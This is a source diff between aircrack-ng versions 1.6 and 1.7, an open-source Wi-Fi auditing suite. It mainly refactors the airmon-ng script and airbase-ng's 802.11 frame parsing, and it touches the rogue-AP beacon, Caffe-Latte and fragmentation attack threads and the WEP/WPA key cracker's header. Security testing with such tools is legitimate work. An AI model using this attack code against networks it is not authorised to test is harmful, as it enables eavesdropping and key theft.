 		if  -x "$(command -v lscpu 2>&1)" ; then
                         lscpu_data="$(lscpu 2>&1)"
-			printf "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen"
-			printf "${lscpu_data}" | grep -iq "KVM" 2> /dev/null && vm="KVM"
-			printf "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V"
+			printf "%s" "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen"
+			printf "%s" "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V"
 			 -n "${vm}"  && vm_from="lscpu"
 		fi
 	fi
@@ -1332,6 +1383,16 @@
 	checkvm_status="run"
 }
 
+kernel_breakage_check() {
+  # Kernel 5.15 has broken radiotap headers due to commit 8c89f7b3d3f2. They are fixed in 5.15.5
+  # See https://lore.kernel.org/all/20211109100203.c61007433ed6.I1dade57aba7de9c4f48d68249adbae62636fd98c@changeid/
+  if  "${KVMAJOR}" = "515"  &&  "${KVMINOR}" -lt "5" ; then
+    printf "WARNING: This kernel likely has broken radiotap headers\n"
+    printf "\ttherefore breaking tools relying on packet capture.\n"
+    printf "\tThis is fixed in kernel 5.15.5 and later versions.\n\n"
+  fi
+}
+
 #end function definitions
 #begin execution
 
@@ -1340,15 +1401,36 @@
 
 listInterfaces
 
+# Kernel version checks are used unconditionally so just set it during main
+if  -r '/proc/version_signature' ; then
+  #ubuntu and derivatives put the real kernel version here
+  KV="$(awk '{print $3}' /proc/version_signature)"
+else
+  KV="$(uname -r | awk -F'-' '{print $1}')"
+fi
+KVMAJOR="$(printf "%s" "${KV}" | awk -F'.' '{print $1$2}')"
+KVMINOR="$(printf "%s" "${KV}" | awk -F'.' '{print $3}')"
+if  "${KVMINOR}" = "0" ; then
+  # debian and derivatives always have 0 in minor for uname -r so we extract from uname -v
+  KV="$(uname -v | awk '{sub(/-.*/, "", $4); print $4}')"
+  KVMINOR="$(printf "%s" "${KV}" | awk -F'.' '{print $3}')"
+  #make sure we extracted a number
+  if ! printf "%s" "${KVMINOR}" | grep -q ':digit:*'; then
+    KVMINOR='0'
+  fi
+fi
+
 if  "${1}" = "check"  ||  "${1}" = "start" ; then
+	if  "${VERBOSE}" = "0" ; then
+		# if verbose is set this was already run
+		# but it's important so run it for everyone
+		kernel_breakage_check
+	fi
 	if  "${2}" = "kill" ; then
 		#if we are killing, tell scanProcesses that
 		scanProcesses "${2}"
 		exit
 	elif  "${1}" = "start" ; then
-		#this stub can send scanProcesses the interface name
-		#but this seems entirely unreliable so just run generic
-		#scanProcesses "${2}"
 		scanProcesses
 	else
 		scanProcesses
@@ -1357,11 +1439,11 @@
 fi
 
 if  "$#" != "0" ; then
-	if  "$1" != "start"  &&  "$1" != "stop" ; then
+	if  "${1}" != "start"  &&  "${1}" != "stop" ; then
 		usage
 	fi
 
-	if  -z "$2" ; then
+	if  -z "${2}" ; then
 		usage
 	fi
 fi
@@ -1369,8 +1451,8 @@
 #start/stop interface existance check
 if  "$1" = "start"  ||  "$1" = "stop" ; then
   if ! ifaceExists "${2}"; then
-    printf "Requested device \"${2}\" does not exist.\n"
-    printf "Run ${0} without any arguments to see available interfaces\n"
+    printf "Requested device \"%s\" does not exist.\n" "${2}"
+    printf "Run %s without any arguments to see available interfaces\n" "${0}"
     exit 1
   fi
 fi
@@ -1379,10 +1461,10 @@
 
 if  "$DEBUG" = "1" ; then
 	if  -x "$(command -v readlink 2>&1)" ; then
-		printf "/bin/sh -> $(readlink -f /bin/sh)\n"
+		printf "/bin/sh -> %s\n" "$(readlink -f /bin/sh)"
 		if $(readlink -f /bin/sh) --version > /dev/null 2>&1
 		then
-			printf "$($(readlink -f /bin/sh) --version)\n"
+      printf "%s\n" "$($(readlink -f /bin/sh) --version)"
 		fi
 	else
 		ls -l /bin/sh
@@ -1391,36 +1473,39 @@
 			/bin/sh --version
 		fi
 	fi
-	if  -n "$SHELL" ; then
-		if $SHELL --version > /dev/null 2>&1
-		then
-			printf "\nSHELL is $($SHELL --version)\n\n"
-		else
-			printf "\nSHELL is $SHELL\n\n"
-		fi
-	fi
 fi
+
 if  "$VERBOSE" = "1" ; then
 	if  -n "$(command -v lsb_release 2> /dev/null)" ; then
-		lsb_release -a
+		lsb_release -a | grep -iv 'n/a'
 		printf "\n"
 	fi
 	uname -a
+	kernel_breakage_check
+
+	if iw reg get | grep -q 'country 00:'; then
+		printf "Regulatory Domain appears to be unset, please consider setting it with 'iw reg set XX'\n"
+		printf "https://wireless.wiki.kernel.org/en/users/documentation/iw#updating_your_regulatory_domain\n"
+	else
+		for regdomain in $(iw reg get | awk '/country/ {print substr($2,1,length($2)-1)}' | sort -u); do
+			printf "Regulatory Domain set to %s, see 'iw reg get' for details\n" "${regdomain}"
+		done
+	fi
 
 	checkvm
 	if  -n "${vm}" ; then
-		printf "Detected VM using ${vm_from}\n"
-		printf "This appears to be a ${vm} Virtual Machine\n"
+		printf "Detected VM using %s\n" "${vm_from}"
+		printf "This appears to be a %s Virtual Machine\n" "${vm}"
 		printf "If your system supports VT-d, it may be possible to use PCI devices\n"
 		printf "If your system does not support VT-d, you can only use USB wifi cards\n"
 	fi
 
-	printf "\nK indicates driver is from $(uname -r)\n"
+  printf "\nK indicates driver is from %s\n" "$(uname -r)"
 	if  "${MODPROBE}" = "1" ; then
 		modprobe compat > /dev/null 2>&1
 
 		if  -r /sys/module/compat/parameters/compat_version ; then
-			printf "C indicates driver is from $(cat /sys/module/compat/parameters/compat_version)\n"
+			printf "C indicates driver is from %s\n" "$(cat /sys/module/compat/parameters/compat_version)"
 		fi
 	fi
 	printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n"
@@ -1434,55 +1519,20 @@
 	printf "PHY\tInterface\tDriver\t\tChipset\n\n"
 fi
 
-#this whole block of code shouldn't be here, it makes no sense
-#per shellcheck, this block is broken as it runs the loops once with iface=listIfaceUnspec instead of the output of listIFaceUnspec
-#for iface in listIfaceUnspec; do
-#
-#	if  -e "/proc/sys/dev/$iface/fftxqmin" 
-#	then
-#		setLink ${iface} up
-#		printf "$iface\t\tAtheros\t\tmadwifi-ng"
-#		if  x$1 = "xstart"  &&  x$2 = x$iface 
-#		then
-#			IFACE=$(wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath)
-#			setLink ${iface} up
-#			if  $CH -lt 1000 
-#			then
-#				iwconfig $IFACE channel $CH 2> /dev/null > /dev/null
-#			else
-#				iwconfig $IFACE freq "$CH"000000 2> /dev/null > /dev/null
-#			fi
-#		setLink ${IFACE} up
-#		UDEV_ISSUE=$?
-#		fi
-#
-#		if  x$1 = "xstop"  &&  x$2 = x$iface 
-#		then
-#			printf "$iface does not support 'stop', do it on ath interface\n"
-#		fi
-#
-#		#why, dear god why is there a random newline here?
-#		printf "\n"
-#		sleep 1
-#		continue
-#	fi
-#done
-#end random block of code that needs to die
-
-for iface in $(printf "${iface_list}"); do
+for iface in $(printf "%s" "${iface_list}"); do
 	unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED NET_TYPE PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
 	#add a RUNNING check here and up the device if it isn't already
-	ethtool_output="$(ethtool -i $iface 2>&1)"
+	ethtool_output="$(ethtool -i "${iface}" 2>&1)"
 	if  "$ethtool_output" != "Cannot get driver information: Operation not supported" ; then
-		getStack  ${iface}
-		getBus ${iface}
-		getPhy     ${iface}
-		getDriver   ${iface}
-		getChipset ${iface}
+		getStack  "${iface}"
+		getBus "${iface}"
+		getPhy "${iface}"
+		getDriver "${iface}"
+		getChipset "${iface}"
 		if  "${VERBOSE}" = "1" ; then
-			getFrom ${iface}
-			getFirmware ${iface}
-			getExtendedInfo ${iface}
+			getFrom "${iface}"
+			getFirmware "${iface}"
+			getExtendedInfo "${iface}"
 		fi
 	else
  		CHIPSET="ethtool failed... driver is broken"
@@ -1545,20 +1595,20 @@
 		printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}\n"
 	fi
 
-	if  "$DRIVER" = "wl" ; then
-		if  "$1" = "start"  &&  "$2" = "$iface" ; then
-			startwlIface $iface
+	if  "${DRIVER}" = "wl" ; then
+		if  "${1}" = "start"  &&  "${2}" = "${iface}" ; then
+			startwlIface "${iface}"
 		fi
-		if  "$1" = "stop"  &&  "$2" = "$iface" ; then
-			stopwlIface $iface
+		if  "${1}" = "stop"  &&  "${2}" = "${iface}" ; then
+			stopwlIface "${iface}"
 		fi
-	elif  "$MAC80211" = "1" ; then
-		if  "$1" = "start"  &&  "$2" = "$iface" ; then
-			startMac80211Iface $iface
+	elif  "${MAC80211}" = "1" ; then
+		if  "${1}" = "start"  &&  "${2}" = "${iface}" ; then
+			startMac80211Iface "${iface}"
 		fi
 
-		if  "$1" = "stop"  &&  "$2" = "$iface" ; then
-			stopMac80211Iface $iface
+		if  "${1}" = "stop"  &&  "${2}" = "${iface}" ; then
+			stopMac80211Iface "${iface}"
 		fi
 	fi
 done

aircrack-ng-1.6.tar.gz/src/Makefile.inc -> aircrack-ng-1.7.tar.gz/src/Makefile.inc Changed

aircrack-ng-1.6.tar.gz/src/airbase-ng/airbase-ng.c -> aircrack-ng-1.7.tar.gz/src/airbase-ng/airbase-ng.c Changed

@@ -2,7 +2,7 @@
  *  802.11 monitor AP
  *  based on airtun-ng
  *
- *  Copyright (C) 2008-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2008-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2008, 2009 Martin Beck <martin.beck2@gmx.de>
  *
  *  This program is free software; you can redistribute it and/or modify
@@ -142,7 +142,7 @@
 
 static const char usage
 	= "\n"
-	  "  %s - (C) 2008-2020 Thomas d'Otreppe\n"
+	  "  %s - (C) 2008-2022 Thomas d'Otreppe\n"
 	  "  Original work: Martin Beck\n"
 	  "  https://www.aircrack-ng.org\n"
 	  "\n"
@@ -321,11 +321,6 @@
 pFrag_t rFragment;
 static pCF_t rCF;
 
-// Threads
-static void beacon_thread(void * arg);
-static void caffelatte_thread(void);
-static void cfrag_thread(void);
-
 static int addESSID(char * essid, int len, int expiration)
 {
 	pESSID_t tmp;
@@ -389,6 +384,12 @@
 	return 0;
 }
 
+/**
+ * @brief Save 802.11 frame to capture file
+ * @paramin packet 802.11 frame buffer
+ * @paramin length Length of the buffer
+ * @return 0 on success, 1 on failure/error
+ */
 static int capture_packet(unsigned char * packet, int length)
 {
 	REQUIRE(packet != NULL);
@@ -739,9 +740,15 @@
 	return (0);
 }
 
+/**
+ * @brief Send 802.11 frame, and optionally save it to the capture file
+ * @paramin buf Buffer containing the frame
+ * @paramin count Size of the 'buffer' variable
+ * @return return value from send_packet()
+ */
 static int my_send_packet(void * buf, size_t count)
 {
-	int rc = send_packet(_wi_out, buf, count, kNoChange);
+	int rc = send_packet(_wi_out, buf, count, kRewriteSequenceNumber);
 
 	ALLEGE(pthread_mutex_lock(&mx_cap) == 0);
 	if (lopt.record_data) capture_packet(buf, (int) count);
@@ -930,51 +937,101 @@
 	return (0);
 }
 
-static int remove_tag(unsigned char * flags, unsigned char type, int * length)
+/**
+ * @brief Remove specific Information Element(s) (aka tag) from a frame.
+ *        Handle when multiple tags with the same number exist.
+ * @paramin,out tagged_params Buffer containing IEs, starting at an IE
+ * @paramin exclude_tag_id tag number to remove. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
+ * @paramin,out tp_length Length of the 'flags' buffer. It gets updated if the tag is removed
+ * @return 0 on success, 1 on error/failure
+ */
+static int remove_tag(uint8_t * tagged_params,
+					  const uint8_t exclude_tag_id,
+					  size_t * tp_length)
 {
-	REQUIRE(length != NULL);
+	REQUIRE(tp_length != NULL);
 
-	int cur_type = 0, cur_len = 0, len = 0;
-	unsigned char * pos;
-	unsigned char buffer4096;
+	size_t dst_pos = 0, src_pos = 0;
+	uint8_t cur_tag_id;
+	uint8_t cur_tag_length;
+	size_t cur_tag_total_len;
 
-	if (*length < 2) return (1);
+	if (tagged_params == NULL) return (1);
 
-	if (flags == NULL) return (1);
-
-	pos = flags;
+	if (*tp_length == 0) return (1);
 
-	do
+	while (src_pos < *tp_length)
 	{
-		cur_type = pos0;
-		cur_len = pos1;
+		// Handle the case when frame is malformed ...
+		if (src_pos + 2 > *tp_length) break;
 
-		if (len + 2 + cur_len > *length) return (1);
+		// Grab tag id and its length
+		cur_tag_id = tagged_paramssrc_pos;
+		cur_tag_length = tagged_paramssrc_pos + 1;
 
-		if (cur_type == type)
+		cur_tag_total_len = cur_tag_length + 2;
+
+		// Now validate the frame is still valid and we have enough buffer
+		if (src_pos + cur_tag_total_len > *tp_length) break;
+
+		// If we skipped 1+ tag, then we need to move this tag
+		if (src_pos != dst_pos)
 		{
-			if (cur_len > 0 && (pos - flags + cur_len + 2) <= *length)
-			{
-				memcpy(buffer,
-					   pos + 2 + cur_len,
-					   *length - ((pos + 2 + cur_len) - flags));
-				memcpy(pos, buffer, *length - ((pos + 2 + cur_len) - flags));
-				*length = *length - 2 - cur_len;
-				return (0);
-			}
-			else
-				return (1);
+			// memmove tag by tag, there might be multiple instances of the tag to exclude
+			memmove(tagged_params + dst_pos,
+					tagged_params + src_pos,
+					cur_tag_total_len);
 		}
-		pos += cur_len + 2;
-		len += cur_len + 2;
-	} while (len + 2 <= *length);
 
-	return (0);
+		// Compute new positions
+		src_pos += cur_tag_total_len;
+		if (cur_tag_id != exclude_tag_id)
+		{
+			dst_pos += cur_tag_total_len;
+		}
+	}
+
+	// In case something goes wrong in the parsing of a tag, move what's
+	// available so we don't leave frame in unknown state
+	const size_t avail_length = (*tp_length) - src_pos;
+	if (avail_length && tagged_paramssrc_pos != exclude_tag_id
+		&& src_pos != dst_pos)
+	{
+		memmove(tagged_params + dst_pos, tagged_params + src_pos, avail_length);
+		dst_pos += avail_length;
+	}
+
+	// Update length
+	*tp_length = dst_pos;
+
+	return (avail_length == 0);
 }
 
+/**
+ * @brief Parse a specific Information Element (IE), aka Tag, to return
+ *        a pointer to the location of its value and its length
+ * @paramin flags Buffer containing IEs, starting at an IE
+ * @paramin type IE/tag number to search for. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
+ * @paramin length length of the 'flags' buffer
+ * @paramout taglen returning the length of the tag, if found
+ *
+ * @return pointer to the start of the IE value, or NULL when there is
+ *         an error or the IE hasn't been found
+ *
+ * @note
+ * IE (aka tag) is of Type-Length-Value (TLV):
+ * - 1 byte for the tag number (unsigned char)
+ * - 1 byte for the length (unsigned char)
+ * - X bytes (defined by the 'length' field right before) for the
+ *   value whose interpretation depends on the type, and sometimes
+ *   more (such as WPA/RSN IE).
+ *
+ * These are present in management frames, and vary. However, they
+ * are typically ordered by tag
+ */
 static unsigned char * parse_tags(unsigned char * flags,
-								  unsigned char type,
-								  int length,
+								  const unsigned char type,
+								  const int length,
 								  size_t * taglen)
 {
 	int cur_type = 0, cur_len = 0, len = 0;
@@ -1009,26 +1066,38 @@
 	return (NULL);
 }
 
+/**
+ * @brief Parses the WPA (Vendor specific) or RSN tag and fill out the station information structure
+ * @paramin,out st_cur pointer to the current station
+ * @paramin tag start of the WPA/RSN tag/IE. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
+ * @paramin length length of the tag buffer
+ * @return 0 on success, 1 on error/failure
+ */
 static int
-wpa_client(struct ST_info * st_cur, const unsigned char * tag, int length)
+wpa_client(struct ST_info * st_cur, const unsigned char * tag, const int length)
 {
 	if (tag == NULL) return (1);
 
 	if (st_cur == NULL) return (1);
 
-	if (tag0 != 0xDD && tag0 != 0x30) // wpa1 or wpa2
+	if (length <= 0) return (1);
+
+	if (tag0 != IEEE80211_ELEMID_VENDOR
+		&& tag0 != IEEE80211_ELEMID_RSN) // wpa1 or wpa2
 		return (1);
 
-	if (tag0 == 0xDD)
+	// TODO: improve parsing, in the event if there are multiple cipher suites
+	if (tag0 == IEEE80211_ELEMID_VENDOR)
 	{
 		if (length < 24) return (1);
 
+		// Get first unicast cipher suite
 		switch (tag17)
 		{
-			case 0x02:
+			case WPA_CSE_TKIP:
 				st_cur->wpahash = 1; // md5|tkip
 				break;
-			case 0x04:
+			case WPA_CSE_CCMP:
 				st_cur->wpahash = 2; // sha1|ccmp
 				break;
 			default:
@@ -1038,16 +1107,17 @@
 		st_cur->wpatype = 1; // wpa1
 	}
 
-	if (tag0 == 0x30 && st_cur->wpatype == 0)
+	if (tag0 == IEEE80211_ELEMID_RSN && st_cur->wpatype == 0)
 	{
 		if (length < 22) return (1);
 
+		// Get first unicast cipher suite
 		switch (tag13)
 		{
-			case 0x02:
+			case WPA_CSE_TKIP:
 				st_cur->wpahash = 1; // md5|tkip
 				break;
-			case 0x04:
+			case WPA_CSE_CCMP:
 				st_cur->wpahash = 2; // sha1|ccmp
 				break;
 			default:
@@ -1521,12 +1591,14 @@
 	uint8_t * buffer;
 	uint8_t essid256;
 	struct timeval tv1;
-	u_int64_t timestamp;
+	uint64_t timestamp;
 	char fessidMAX_IE_ELEMENT_SIZE + 1;
 	int seqnum, fragnum, morefrag;
 	int gotsource, gotbssid;
 	int remaining;
-	int reasso, fixed, temp_channel;
+	// Is the frame a reassociation request?
+	int reasso;
+	int fixed, temp_channel;
 	uint8_t bytes2use;
 	unsigned z;
 
@@ -1541,9 +1613,13 @@
 	if (lopt.record_data) capture_packet(packet, (int) length);
 	ALLEGE(pthread_mutex_unlock(&mx_cap) == 0);
 
-	z = ((packet1 & 3) != 3) ? 24 : 30;
+	// Check if the frame has 4 addresses (ToDS and FromDS present), and save base length
+	z = ((packet1 & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS) ? 24
+																		   : 30;
 
-	if (packet0 == 0x88) z += 2; /* handle QoS field */
+	/* handle QoS field in data frame: they're 2 bytes longer */
+	if (packet0 == (IEEE80211_FC0_SUBTYPE_QOS | IEEE80211_FC0_TYPE_DATA))
+		z += 2;
 
 	if (length < z)
 	{
@@ -1555,19 +1631,20 @@
 		return (1);
 	}
 
-	switch (packet1 & 3)
+	// Grab MAC addresses
+	switch (packet1 & IEEE80211_FC1_DIR_MASK)
 	{
-		case 0:
+		case IEEE80211_FC1_DIR_NODS:
 			memcpy(bssid, packet + 16, 6);
 			memcpy(dmac, packet + 4, 6);
 			memcpy(smac, packet + 10, 6);
 			break;
-		case 1:
+		case IEEE80211_FC1_DIR_TODS:
 			memcpy(bssid, packet + 4, 6);
 			memcpy(dmac, packet + 16, 6);
 			memcpy(smac, packet + 10, 6);
 			break;
-		case 2:
+		case IEEE80211_FC1_DIR_FROMDS:
 			memcpy(bssid, packet + 10, 6);
 			memcpy(dmac, packet + 4, 6);
 			memcpy(smac, packet + 16, 6);
@@ -1579,7 +1656,7 @@
 			break;
 	}
 
-	if ((packet1 & 3) == 0x03)
+	if ((packet1 & IEEE80211_FC1_DIR_MASK) == IEEE80211_FC1_DIR_DSTODS)
 	{
 		/* no wds support yet */
 		return (1);
@@ -2014,12 +2091,13 @@
 
 		ti_write(dev.dv_ti, h80211, (int) length);
 	}
-	else
+	else if ((packet0 & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_MGT)
 	{
 		// react on management frames
-		// probe request -> send probe response if essid matches. if brodcast
+		// probe request -> send probe response if essid matches. if broadcast
 		// probe, ignore it.
-		if (packet0 == 0x40)
+		if ((packet0 & IEEE80211_FC0_SUBTYPE_MASK)
+			== IEEE80211_FC0_SUBTYPE_PROBE_REQ)
 		{
 			tag = parse_tags(packet + z, 0, (int) (length - z), &len);
 			if (tag != NULL && tag0 >= 32 && len <= 255) // directed probe
@@ -2324,7 +2402,9 @@
 		}
 
 		// auth req
-		if (packet0 == 0xB0 && memcmp(bssid, opt.r_bssid, 6) == 0)
+		if ((packet0 & IEEE80211_FC0_SUBTYPE_MASK)
+				== IEEE80211_FC0_SUBTYPE_AUTH
+			&& memcmp(bssid, opt.r_bssid, 6) == 0)
 		{
 			if (packetz == 0x00) // open system auth
 			{
@@ -2434,15 +2514,20 @@
 		}
 
 		// asso req or reasso
-		if ((packet0 == 0x00 || packet0 == 0x20)
+		if (((packet0 & IEEE80211_FC0_SUBTYPE_MASK)
+				 == IEEE80211_FC0_SUBTYPE_ASSOC_REQ
+			 || (packet0 & IEEE80211_FC0_SUBTYPE_MASK)
+					== IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
 			&& memcmp(bssid, opt.r_bssid, 6) == 0)
 		{
-			if (packet0 == 0x00) // asso req
+			if ((packet0 & IEEE80211_FC0_SUBTYPE_MASK)
+				== IEEE80211_FC0_SUBTYPE_ASSOC_REQ)
 			{
-				reasso = 0;
+				// asso req
+				reasso = 0; //-V1048
 				fixed = 4;
 			}
-			else
+			else // reassociation frame
 			{
 				reasso = 1;
 				fixed = 10;
@@ -2450,8 +2535,11 @@
 
 			st_cur->wep = (packetz & 0x10) >> 4;
 
-			tag = parse_tags(
-				packet + z + fixed, 0, (int) (length - z - fixed), &len);
+			// Check SSID is present
+			tag = parse_tags(packet + z + fixed,
+							 IEEE80211_ELEMID_SSID,
+							 (int) (length - z - fixed),
+							 &len);
 			if (tag != NULL && tag0 >= 32 && len < 256)
 			{
 				memcpy(essid, tag, len);
@@ -2463,31 +2551,45 @@
 			st_cur->wpatype = 0;
 			st_cur->wpahash = 0;
 
-			tag = parse_tags(
-				packet + z + fixed, 0xDD, (int) (length - z - fixed), &len);
+			// Search for WPA IE, which is inside a Vendor Specific (221, 0xDD) and parse client's WPA IE
+			tag = parse_tags(packet + z + fixed,
+							 IEEE80211_ELEMID_VENDOR,
+							 (int) (length - z - fixed),
+							 &len);
 			while (tag != NULL)
 			{
 				wpa_client(st_cur, tag - 2, (int) (len + 2u));
 				tag += (tag - 2)1 + 2;
-				tag = parse_tags(
-					tag - 2, 0xDD, (int) (length - (tag - packet) + 2u), &len);
+				tag = parse_tags(tag - 2,
+								 IEEE80211_ELEMID_VENDOR,
+								 (int) (length - (tag - packet) + 2u),
+								 &len);
 			}
 
-			tag = parse_tags(
-				packet + z + fixed, 0x30, (int) (length - z - fixed), &len);
+			// Search for RSN IE and parse client's RSN IE
+			tag = parse_tags(packet + z + fixed,
+							 IEEE80211_ELEMID_RSN,
+							 (int) (length - z - fixed),
+							 &len);
 			while (tag != NULL)
 			{
 				wpa_client(st_cur, tag - 2, (int) (len + 2u));
 				tag += (tag - 2)1 + 2;
-				tag = parse_tags(
-					tag - 2, 0x30, (int) (length - (tag - packet) + 2u), &len);
+				tag = parse_tags(tag - 2,
+								 IEEE80211_ELEMID_RSN,
+								 (int) (length - (tag - packet) + 2u),
+								 &len);
 			}
 
+			// Set type/subtype depending on the frame received
 			if (!reasso)
-				packet0 = 0x10;
+				packet0
+					= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_RESP;
 			else
-				packet0 = 0x30;
+				packet0 = IEEE80211_FC0_TYPE_MGT
+							| IEEE80211_FC0_SUBTYPE_REASSOC_RESP;
 
+			// Add the addresses
 			memcpy(packet + 4, smac, 6);
 			memcpy(packet + 10, dmac, 6);
 
@@ -2507,7 +2609,20 @@
 			buffer = NULL;
 
 			len = length - z - 6;
-			remove_tag(packet + z + 6, 0, (int *) &len);
+
+			// Remove SSID
+			remove_tag(packet + z + 6, IEEE80211_ELEMID_SSID, &len);
+
+			// Remove Supported Operating Classes (59)
+			remove_tag(packet + z + 6, 59, &len);
+
+			// Remove WPA tag (Vendor Specific) - It will also remove other vendor tags which aren't needed
+			remove_tag(packet + z + 6, IEEE80211_ELEMID_VENDOR, &len);
+
+			// Remove RSN tag
+			remove_tag(packet + z + 6, IEEE80211_ELEMID_RSN, &len);
+
+			// Recalculate length
 			length = len + z + 6;
 
 			my_send_packet(packet, length);
@@ -2654,7 +2769,7 @@
 	return (0);
 }
 
-static void beacon_thread(void * arg)
+static THREAD_ENTRY(beacon_thread)
 {
 	REQUIRE(arg != NULL);
 
@@ -2685,13 +2800,13 @@
 			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
 			{
 				perror("read(/dev/rtc) failed");
-				return;
+				return (NULL);
 			}
 
 			if (rc == 0)
 			{
 				perror("EOF encountered on /dev/rtc");
-				return;
+				return (NULL);
 			}
 
 			ticks0++;
@@ -2728,7 +2843,7 @@
 			if (!essid_len)
 			{
 				strncpy((char *) essid, "default", sizeof(essid) - 1);
-				essid_len = strlen("default");
+				essid_len = strlen("default"); //-V814
 			}
 
 			beacon_len = 0;
@@ -2849,15 +2964,17 @@
 			if (my_send_packet(beacon, beacon_len) < 0)
 			{
 				printf("Error sending beacon!\n");
-				return;
+				return (NULL);
 			}
 
 			seq++;
 		}
 	}
+
+	return (NULL);
 }
 
-static void caffelatte_thread(void)
+static THREAD_ENTRY(caffelatte_thread)
 {
 	struct timeval tv, tv2;
 	float f, ticks3;
@@ -2865,6 +2982,8 @@
 	int nb_pkt_sent_1 = 0;
 	int seq = 0;
 
+	UNUSED_PARAM(arg);
+
 	ticks0 = 0;
 	ticks1 = 0;
 	ticks2 = 0;
@@ -2896,7 +3015,7 @@
 				if (my_send_packet(arparp_off1.buf,
 								   (size_t) arparp_off1.len)
 					< 0)
-					return;
+					return (NULL);
 
 				nb_pkt_sent_1++;
 
@@ -2907,7 +3026,7 @@
 					if (my_send_packet(arparp_off1.buf,
 									   (size_t) arparp_off1.len)
 						< 0)
-						return;
+						return (NULL);
 
 					nb_pkt_sent_1++;
 				}
@@ -2916,6 +3035,8 @@
 			}
 		}
 	}
+
+	return (NULL);
 }
 
 static int del_next_CF(pCF_t curCF)
@@ -2990,7 +3111,7 @@
 	return (0);
 }
 
-static void cfrag_thread(void)
+static THREAD_ENTRY(cfrag_thread)
 {
 	struct timeval tv, tv2;
 	float f, ticks3;
@@ -3000,6 +3121,8 @@
 	unsigned char rnd2;
 	unsigned char buffer4096;
 
+	UNUSED_PARAM(arg);
+
 	ticks0 = 0;
 	ticks1 = 0;
 	ticks2 = 0;
@@ -3068,7 +3191,7 @@
 					if (my_send_packet(buffer, curCF->fragleni) < 0)
 					{
 						ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
-						return;
+						return (NULL);
 					}
 				}
 				memcpy(buffer, curCF->final, curCF->finallen);
@@ -3080,7 +3203,7 @@
 				if (my_send_packet(buffer, curCF->finallen) < 0)
 				{
 					ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
-					return;
+					return (NULL);
 				}
 
 				curCF->xmitcount++;
@@ -3103,7 +3226,7 @@
 						if (my_send_packet(buffer, curCF->fragleni) < 0)
 						{
 							ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
-							return;
+							return (NULL);
 						}
 					}
 					memcpy(buffer, curCF->final, curCF->finallen);
@@ -3115,7 +3238,7 @@
 					if (my_send_packet(buffer, curCF->finallen) < 0)
 					{
 						ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
-						return;
+						return (NULL);
 					}
 
 					curCF->xmitcount++;
@@ -3125,6 +3248,8 @@
 			ALLEGE(pthread_mutex_unlock(&mx_cf) == 0);
 		}
 	}
+
+	return (NULL);
 }
 
 int main(int argc, char * argv)
@@ -3229,10 +3354,6 @@
 				break;
 
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);
@@ -4027,9 +4148,7 @@
 		}
 	}
 	// start sending beacons
-	if (pthread_create(
-			&(beaconpid), NULL, (void *) beacon_thread, (void *) &apc)
-		!= 0)
+	if (pthread_create(&(beaconpid), NULL, &beacon_thread, (void *) &apc) != 0)
 	{
 		perror("Beacons pthread_create");
 		return (EXIT_FAILURE);
@@ -4041,8 +4160,7 @@
 										* sizeof(struct ARP_req));
 		ALLEGE(arp != NULL);
 
-		if (pthread_create(
-				&(caffelattepid), NULL, (void *) caffelatte_thread, NULL)
+		if (pthread_create(&(caffelattepid), NULL, &caffelatte_thread, NULL)
 			!= 0)
 		{
 			perror("Caffe-Latte pthread_create");
@@ -4052,7 +4170,7 @@
 
 	if (lopt.cf_attack)
 	{
-		if (pthread_create(&(cfragpid), NULL, (void *) cfrag_thread, NULL) != 0)
+		if (pthread_create(&(cfragpid), NULL, &cfrag_thread, NULL) != 0)
 		{
 			perror("cfrag pthread_create");
 			return (EXIT_FAILURE);

aircrack-ng-1.6.tar.gz/src/aircrack-ng/aircrack-ng.c -> aircrack-ng-1.7.tar.gz/src/aircrack-ng/aircrack-ng.c Changed

@@ -1,7 +1,7 @@
 /*
  *  802.11 WEP / WPA-PSK Key Cracker
  *
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2004, 2005 Christophe Devine
  *
  *  Advanced WEP attacks developed by KoreK
@@ -112,6 +112,16 @@
 #define H16800_BSSID_LEN 12
 #define H16800_STMAC_LEN 12
 
+#define SECOND_TO_MICROSEC 1e6
+
+/** Maximum duration over all four messages used in EAPOL 802.1x
+ *  authentication. Value must be in microseconds.
+ */
+static const uint64_t eapol_max_fourway_timeout = 5 * SECOND_TO_MICROSEC;
+/** Maximum duration between each of the four messages used in
+ *  EAPOL 802.1x authentication. Value must be in microseconds.
+ */
+static const uint64_t eapol_interframe_timeout = SECOND_TO_MICROSEC;
 /* stats global data */
 
 static volatile int wpa_cracked = 0;
@@ -126,8 +136,8 @@
 static struct timeval t_stats; /* time since last update       */
 static struct timeval t_kprev; /* time at start of window      */
 static struct timeval t_dictup; /* next dictionary total read   */
